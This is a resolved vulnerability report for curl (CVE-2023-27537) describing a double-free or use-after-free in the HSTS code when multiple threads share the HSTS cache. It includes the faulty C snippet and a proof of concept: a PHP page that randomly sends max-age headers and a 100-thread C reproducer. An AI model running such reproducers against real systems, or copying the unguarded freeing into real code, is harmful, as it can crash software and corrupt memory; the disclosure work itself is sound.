CVE-2023-27537: HSTS double-free
Low
C
curl
Submitted None
Actions:
Reported by
kurohiro
Vulnerability Details
Technical details and impact analysis
## Summary:
When processing HSTS with multi-threading, double-free or UAF may occur due to lack of exclusion control.
HSTS entries disappear when they expire or when "max-age=0" is received.
In this case, the offending entry is removed from the internal memory list, freeing memory but not exclusivity control.
Therefore, depending on the timing, other threads may perform the operation, resulting in double-free or UAF.
`lib/hsts.c` in the function `Curl_hsts_parse` on lines 213-221
```
if(!expires) {
/* remove the entry if present verbatim (without subdomain match) */
sts = Curl_hsts(h, hostname, FALSE);
if(sts) {
Curl_llist_remove(&h->list, &sts->node, NULL);
hsts_free(sts);
}
return CURLE_OK;
}
```
If multiple threads process `hsts_free(sts);` at the same time, it becomes double-free.
Another problem is that UAF occurs when other threads access entries.
Lines 270-275 have a similar problem.
## Steps To Reproduce:
1. [Prepare the following php.]
```
<?php
$random = rand(0, 1);
if($random == 0){
header("strict-transport-security: max-age=9999");
}else{
header("strict-transport-security: max-age=0");
}
```
2. [Compile and run the following cpp.]
```
#include <stdio.h>
#define HAVE_STRUCT_TIMESPEC // [Add]
#include <pthread.h>
#include <curl/curl.h>
#define NUMT 100
const char* const url = "https://test.local/poc.php";
pthread_mutex_t lock[9];
static void lock_cb(CURL* handle, curl_lock_data data,
curl_lock_access access, void* userptr)
{
pthread_mutex_lock(&lock[data]); /* uses a global lock array */
}
static void unlock_cb(CURL* handle, curl_lock_data data,
void* userptr)
{
pthread_mutex_unlock(&lock[data]); /* uses a global lock array */
}
static void* pull_one_url(void* shobject)
{
CURL* curl;
for (int i = 0; i < 100; i++) {
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HSTS, "c:\\home\\hsts.txt");
curl_easy_setopt(curl, CURLOPT_SHARE, shobject);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_perform(curl); /* ignores error */
curl_easy_cleanup(curl);
}
return NULL;
}
int main(int argc, char** argv)
{
pthread_t tid[NUMT] = {0};
int i;
for(i = 0;i<=9;i++)
pthread_mutex_init(&lock[i], NULL);
/* Must initialize libcurl before any threads are started */
curl_global_init(CURL_GLOBAL_ALL);
CURLSH* shobject = curl_share_init();
curl_share_setopt(shobject, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);
curl_share_setopt(shobject, CURLSHOPT_LOCKFUNC, lock_cb);
curl_share_setopt(shobject, CURLSHOPT_UNLOCKFUNC, unlock_cb);
for (i = 0; i < NUMT; i++) {
int error = pthread_create(&tid[i],
NULL, /* default attributes please */
pull_one_url,
(void*)shobject);
if (0 != error)
fprintf(stderr, "Couldn't run thread number %d, errno %d\n", i, error);
else
fprintf(stderr, "Thread %d, gets %s\n", i, url);
}
/* now wait for all threads to terminate */
for (i = 0; i < NUMT; i++) {
pthread_join(tid[i], NULL);
fprintf(stderr, "Thread %d terminated\n", i);
}
curl_share_cleanup(shobject);
curl_global_cleanup();
return 0;
}
```
The source was referred to under docs/examples.
Supplement.
URL is https://test.local/poc.php.
php that randomly memorizes and deletes HSTS entries.
It's hard to reproduce if it's random, but I've confirmed that the problem will occur.
I attach an image of when the UAF happened(I tried in debug build).
The number of threads and the number of loops are increased in order to raise the possibility that the phenomenon will occur.
{F2216003}
## Impact
Double-free
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Double Free